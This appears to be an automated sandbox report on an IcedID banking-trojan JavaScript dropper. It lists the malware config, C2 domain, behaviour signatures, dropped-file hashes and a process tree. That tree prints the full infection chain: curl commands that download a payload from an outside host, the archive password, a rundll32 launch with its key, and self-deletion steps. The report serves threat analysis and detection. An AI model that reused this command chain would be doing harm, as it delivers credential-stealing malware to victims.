Analysis

  • max time kernel
    137s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/10/2023, 01:24

General

  • Target
    Document_09_13_617.js
  • Size 44KB
  • Sample231014-bsqwesbc86
  • SHA256 9bb9e0d33d74a56fa1eeaea35fe0c0791303c2f81ea61d1c91a9a5c08f3f1bb7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • icedid

Campaign
  • 1638996626

C2
  • minutozhart.online

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Document_09_13_617.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:228
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\Document_09_13_617.js"
      2⤵
        PID:4128
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c echo curl https://topbeauty.ae/wp-content/plugins/elementor/includes/widgets/traits/1136.7z --output "C:\Users\Admin\AppData\Local\Temp\repellat.k" --ssl-no-revoke --insecure --location > "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
        2⤵
          PID:4972
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:736
          • C:\Windows\system32\curl.exe
            curl https://topbeauty.ae/wp-content/plugins/elementor/includes/widgets/traits/1136.7z --output "C:\Users\Admin\AppData\Local\Temp\repellat.k" --ssl-no-revoke --insecure --location
            3⤵
              PID:1440
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" https://www.7-zip.org/a/7zr.exe --output "C:\Users\Admin\AppData\Local\Temp\quaerat.x"
            2⤵
              PID:3456
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\quaerat.x" -p#4p2h@!eiNtKVN46 e -so "C:\Users\Admin\AppData\Local\Temp\repellat.k" > "C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4508
              • C:\Users\Admin\AppData\Local\Temp\quaerat.x
                "C:\Users\Admin\AppData\Local\Temp\quaerat.x" -p#4p2h@!eiNtKVN46 e -so "C:\Users\Admin\AppData\Local\Temp\repellat.k"
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:4524
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\quaerat.x"
              2⤵
                PID:4676
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\repellat.k"
                2⤵
                  PID:2568
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m" "aut.i"
                  2⤵
                    PID:5080
                  • C:\Windows\System32\rundll32.exe
                    "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\aut.i", scab /k abebas531
                    2⤵
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:3460
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
                    2⤵
                      PID:3836

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        aut.i

                        • Path C:\Users\Admin\AppData\Local\Temp\aut.i
                        • Size 200KB
                        • SHA256 af00ea4220c4c3a4ef0a9d9d389c7a7932feac85d0837a0cbd4c7de74071be69
                        • MD5 SHA1 SHA512 SSDEEP

                        aut.i.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\aut.i.bat
                        • Size 183B
                        • SHA256 016a49f419442dc0d9368d5e2bff45372fff3fd43cc808d618d6d92a8d00aca6
                        • MD5 SHA1 SHA512

                        aut.iipsa.m

                        • Path C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m
                        • Size 200KB
                        • SHA256 af00ea4220c4c3a4ef0a9d9d389c7a7932feac85d0837a0cbd4c7de74071be69
                        • MD5 SHA1 SHA512 SSDEEP

                        quaerat.x

                        • Path C:\Users\Admin\AppData\Local\Temp\quaerat.x
                        • Size 571KB
                        • SHA256 72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
                        • MD5 SHA1 SHA512 SSDEEP

                        quaerat.x

                        • Path C:\Users\Admin\AppData\Local\Temp\quaerat.x
                        • Size 571KB
                        • SHA256 72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
                        • MD5 SHA1 SHA512 SSDEEP

                        repellat.k

                        • Path C:\Users\Admin\AppData\Local\Temp\repellat.k
                        • Size 81KB
                        • SHA256 c2c40c1e397f4356ba3b7a37f38211330271b8e2651377bf94e172cad9225902
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/3408-12-0x00007FFDED281000-0x00007FFDED282000-memory.dmp

                        memory/3408-13-0x0000000180000000-0x0000000180009000-memory.dmp

                        memory/3408-20-0x00007FFDED281000-0x00007FFDED282000-memory.dmp

                        memory/3460-11-0x00000244B7970000-0x00000244B7974000-memory.dmp